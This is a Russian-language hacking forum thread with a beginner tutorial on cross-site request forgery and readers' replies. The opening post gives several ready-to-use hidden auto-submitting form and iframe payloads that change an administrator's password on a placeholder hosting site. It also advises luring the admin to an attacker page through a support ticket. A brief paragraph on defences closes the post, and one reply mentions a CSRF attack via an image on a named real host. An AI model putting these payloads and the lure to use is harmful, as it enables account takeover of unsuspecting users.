Авторские статьи CSRF атаки или подделка межсайтовых запросов

Discussion in 'Статьи' started by mr.Penguin, 24 Apr 2012.

  1. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    CSRF атаки или подделка межсайтовых запросов

    Intro

    CSRF (полное название Сross Site Request Forgery) - вид атак на посетителей веб-сайтов, использующий недостатки HTTP протокола.

    Схема этой уязвимости довольно-таки проста: Жертва заходит на сайт, созданный хакером, и от ее лица тайно отправляется запрос на веб-сайт, использующий недостатки HTTP протокола.

    Атаки можно совершить практически везде (конечно, если веб-сайт уязвим): Сайт платёжной системы (перевод средств на счет хакера), хостинг (смена пароля от панели), социальная сеть (смена пароля от панели / смена контрольного вопроса), но есть одно но - для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

    Статья предназначена для начинающих пользователей..

    Атакуем сайт

    Для примера давайте возьмем несуществующий хостинг - hosting.qqq, наша задача сменить пароль аккаунта Administrator, нам известен только список параметров и логин жертвы.

    Итак, приступим! Вот список значений и параметров уязвимого сайта:

    Code:
    reason=password_change
    password=newpassword // Новый пароль
    password2=newpassword // Подтверждаем новый пароль
    
    Задача злоумышленника - создать страницу и тайно отправить запрос от лица жертвы на уязвимый сайт.

    Нашу страницу назовем newpassword.html, теперь нужно сконструировать код, который тайно пошлет запрос от лица жертвы на уязвимый сайт. Я предоставлю Вам несколько вариантов.

    Вариант №1

    PHP:
    <body onload="p.submit()">
    <
    form action="http://hosting.qqq/newpassword.php" method="post" id="p">
    <
    input type=hidden name="reason" value='password_change'>
    <
    input type=hidden name="password" value='newpassword'>
    <
    input type=hidden name="password2" value='newpassword'>
    Вариант №2

    PHP:
    <form method="post" action="http://hosting.qqq/newpassword.php">
    <
    input type="hidden" name="reason" value="password_change">
    <
    input type="hidden" name="password" value="newpassword">
    <
    input type="hidden" name="password2" value="newpassword">
    </
    form>
    <
    script type="text/javascript">
    document.getElementsByTagName('form')[0].submit();
    </script>
    Но в этих двух случаях, нашу жертву перекинет на хостинг hosting.qqq, а это не есть "тайно". Но выход есть, создаем вторую страницу new.html, и записываем туда следующий код:
    PHP:
    <iframe  src='http://сайт_злоумышленника.ру/newpassword.html'  width='0' height='0' style='display:none'></iframe>
    Как Вы увидели, на странице new.html будет находится скрытый iFrame, который будет ссылаться на страницу newpassword.html, а уже newpassword.html и будет посылать запрос на уязвимый сайт. Да-да, вот такая цепочка. Конечно же, можно сделать все намного проще, например как здесь (скрытый iframe + отправка запроса на уязвимый сайт):

    PHP:
    <script>
    function 
    csrf() {
      var 
    html;
      
    html '<img src=http://http://hosting.qqq/newpassword.php?reason=password_change&password=newpassword&password2=newpassword>';
      
    window.frames["frame"].document.body.innerHTML html;
    }
    </script>
    <iframe name="frame" onload="csrf()" width="0" height="0"></iframe>
    Но в третьем варианте мы пошлем GET запрос на уязвимый сайт, а для смены пароля в нашем случае необходимо отправить данные методом POST, так что будем использовать первые два любых варианта.

    Теперь осталось написать в Тех. поддержку хостинга (есть вероятность, что наше сообщение прочтет администратор хостинга) и заманить его на сайт злоумышленника (http://сайт_злоумышленника.ру/new.html), но как заманить - думайте уже сами ;)

    Защита от CSRF

    Наиболее простой способ защиты: сервер жертвы должен просить подтверждения действий пользователя и проверять поле HTTP_REFERER, если оно указано в запросе. Или-же использовать дополнительный секретный ключ, предназначенный для выполнения POST-запросов.

    Спасибо за внимание!
     
    #1 mr.Penguin, 24 Apr 2012
    Last edited: 24 Apr 2012
    6 people like this.
  2. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Статья хорошая,но раскрыта не полностью,можно CSRF через картинку выполнить,спасибо m_script.
     
    _________________________
  3. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    слабовато...
     
  4. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    А что Вам хотелось-бы видеть? Я не против, с радостью дополню статью.
     
  5. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    822
    Reputations:
    324
    Предупреждаю, не нарушайте правила раздела. Те кто нарушил, потрите свои посты. В случае игнорирования предупреждения - бан сроком до недели.

    На этот пост отвечать не надо.
     
  6. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Было бы неплохо дополнить парой ссылок по теме, для желающих более углубленно ознакомиться с данным типом уязвимости. Возьму на себя смелость предложить вот эту статью, в качестве расширения изложенного материала для тех, кто захочет узнать что-то более детально.

    Почитать на досуге. Тыц.
     
    1 person likes this.
  7. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    TC, в аське появись. Есть вопросы.
     
  8. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    Перед тем, как писать статью, надо ответить на следующие вопросы:
    1) для чего вообще я это делаю;
    2) для кого она предназначена;
    3) чем она будет отличаться от тысячи подобных статей.

    Вот п.3 и должен превносить что-то новое, отличное от других. Какое-то маленькое исследование, например, что-то новое.
     
  9. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    ТС опубликовал без предварительного согласования, обещая ее потом дополнить. Я бы не пропустил ее, т.к. в ней нет ничего нового.
     
  10. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    Епта найдите статью где то на ачате я когда то видел - точно ! там в развернутов виде все было - или то был чей-то конкрус не помню - но вроде была статья - или видео
     
  11. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    CSRF+IMG на примере хостинга jino.ru